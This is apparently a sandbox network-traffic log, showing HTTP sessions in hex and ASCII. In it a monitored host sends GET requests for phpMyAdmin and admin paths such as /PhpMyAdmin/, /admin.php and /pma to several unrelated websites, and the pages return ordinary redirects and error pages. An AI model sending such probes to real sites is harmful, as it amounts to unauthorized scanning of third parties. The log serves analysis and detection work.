2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 6d 61 69 6e Data Ascii: UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/main
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 20 6d 64 3a 74 6f Data Ascii: n float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:to
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 Data Ascii: ding?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="cf-error
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 6e 20 49 20 64 6f Data Ascii: the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What can I do
2023-12-20 02:13:37 UTC	1224	IN	Data Raw: 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 66 63 31 37 36 63 33 33 35 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 Data Ascii: class="font-semibold">83845dfc176c335f</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.4	64833	199.60.103.25	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	410	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=c6e09bdc984b5644856c68440dc2c92d369dc477-1703038413; __cf_bm=xsE.mEgfV7xWnwY62Ax3erGMxF2DlmM9TRkZnS6c1eM-1703038413-1-AU1nzLQ3f/X3DXkufPWlB4TRaS1mlivhlU88oYpkkmIz6HDKfRPlnVv8f/DreHls7dCZ7ADIhtrnJ5zIG9GPW7Q= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	753	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/PhpMyAdmin/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tieoejbqV0jnKSQrokQm4e8BB%2FyWH9n13J5VruSqSj4s3HB7ln5rG6MTcHItIswbSAsJ7NELFbfoFPKF48lUB6VEwyp58aDNgzhTJCJyYZN9oNSVDCK%2FdaLuH2vK9GARJs6YDKHyWKp8wA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dfc4d958da9-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.4	64929	199.60.103.25	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	408	OUT	GET /admin.php HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=96d05ef646f3836be2e57de4c39861ecdf49ab4f-1703038414; __cf_bm=yVhlr5MeNvm9nwISYn5vZTkoQGjnLA.Eq0SJLjSG2GQ-1703038414-1-AaqHFhIlwdYhTPbV8Us0b6GycSh7GFyjbPGB+LbzH4Eljr1H7OE79yhoat8fSdlsiC1Yj84MoqfEg1j5KMaI41g= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	755	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/admin.php Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dOU8XvOHcG0o8OtZJ8jRbTzeUDR8Fdk8Fm7r7fO7phk7L8AFzf%2BXZAZdB5wCcqURWtj%2Bx1EYmsIas5I26Kk2kHWX3DlxwDJCoDfYpws4M4X%2Fw8hKJpBO5FbmJEwrSqJ60ls%2FddsfApRXhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dfc5dae8da9-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.4	64535	34.133.154.140	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	212	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://hildebrandproject.org/
2023-12-20 02:13:37 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 5 X-Cache-Group: normal
2023-12-20 02:13:37 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:37 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:37 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:37 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
2023-12-20 02:13:37 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.4	64824	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	177	OUT	GET /pma HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038417.3841654737572619276 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-dfw-kdfw8210139-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLm+RUUxFrhyTYE58WvxHjkkcm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRalhQnp3AnoaBL5aYYhX4usf2y2rv9nfBCisdo0l0qkYhKMdqyjlW4bTUd/vHGV/XDaA==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:37 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:37 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.4	65047	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	170	OUT	GET /pma/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	886	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dfcebd52215-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uA2fyIIkNt7v1mVxuQ1Ls58gtRwd84mIMSaaUN39aOdsXEDJqWLBnO9pYshyb%2Bq9VObXGtFaLju4feRyn%2B2KMoxMu9z43oPgoEfDc4sm%2FOK3ZHhVVr3bvVW0kyDT9j82Y6I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:37 UTC	483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
